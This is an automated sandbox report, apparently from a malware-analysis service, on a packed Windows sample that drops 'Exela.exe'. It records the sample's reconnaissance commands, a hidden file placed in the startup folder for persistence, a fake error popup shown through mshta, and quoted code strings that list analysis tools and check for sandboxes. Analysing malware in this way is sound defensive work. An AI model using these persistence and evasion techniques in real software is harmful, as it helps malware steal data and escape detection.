            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get ManufacturerJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\HOSTNAME.EXE hostname
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\query.exe query user
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net localgroup administrators
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net user guest
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\netsh.exe netsh wlan show profiles
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
            Source: C:\Windows\System32\query.exeProcess created: C:\Windows\System32\quser.exe C:\Windows\system32\quser.exe
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
            Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
            Source: C:\Windows\System32\net.exeProcess created: unknown unknown
            Source: C:\Windows\System32\wbem\WMIC.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\systeminfo.exe systeminfo
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
            Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
            Source: 9afaXJv52z.exeStatic PE information: Image base 0x140000000 > 0x60000000
            Source: 9afaXJv52z.exeStatic file information: File size 16417517 > 1048576
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
            Source: 9afaXJv52z.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
            Source: 9afaXJv52z.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: D:\_w\1\b\bin\amd64\python3.pdb source: 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1564172723.0000020DAB880000.00000002.00000001.01000000.00000006.sdmp
            Source: Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 9afaXJv52z.exe, 00000000.00000003.1243849896.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp
            Source: 9afaXJv52z.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
            Source: 9afaXJv52z.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
            Source: 9afaXJv52z.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
            Source: 9afaXJv52z.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
            Source: 9afaXJv52z.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
            Source: VCRUNTIME140.dll.0.drStatic PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]
            Source: 9afaXJv52z.exeStatic PE information: section name: _RDATA
            Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
            Source: libffi-8.dll.0.drStatic PE information: section name: UPX2
            Source: _rust.pyd.0.drStatic PE information: section name: UPX2
            Source: Exela.exe.2.drStatic PE information: section name: _RDATA
            Source: Exela.exe0.2.drStatic PE information: section name: _RDATA
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850F5004 push rsp; retf 0_2_00007FF6850F5005
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1

            Persistence and Installation Behavior

            barindex
            Uses cmd line tools excessively to alter registry or file data
            Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
            Source: C:\Users\user\Desktop\9afaXJv52z.exeProcess created: attrib.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_cffi_backend.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\python3.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_lzma.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exeJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\libffi-8.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_parser.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\unicodedata.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_websocket.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\sqlite3.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\multidict\_multidict.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_http_writer.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_ctypes.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\aiohttp\_helpers.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_overlapped.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_sqlite3.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\libcrypto-1_1.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_socket.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\cryptography\hazmat\bindings\_rust.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_queue.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\select.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_hashlib.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_asyncio.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\yarl\_quoting_c.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\python311.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\libssl-1_1.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\frozenlist\_frozenlist.cp311-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dllJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\_bz2.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI67202\pyexpat.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeJump to dropped file

            Boot Survival

            barindex
            Drops PE files to the startup folder
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exeJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B6EF0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00007FF6850B6EF0
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\systeminfo.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
            Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
            Source: C:\Windows\System32\cmd.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk
            Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SELF.BANNED_PROCESS = ["HTTP TOOLKIT.EXE", "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "FIDDLER.EXE", "REGEDIT.EXE", "TASKMGR.EXE", "VBOXSERVICE.EXE", "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1541670912.0000020DAFEB0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "XENSERVICE.EXE", # XEN
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1541670912.0000020DAFEB0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HANDLE = CTYPES.WINDLL.LOADLIBRARY("SBIEDLL.DLL")
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2212
            Source: C:\Users\user\Desktop\9afaXJv52z.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67202\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67202\python3.dllJump to dropped file
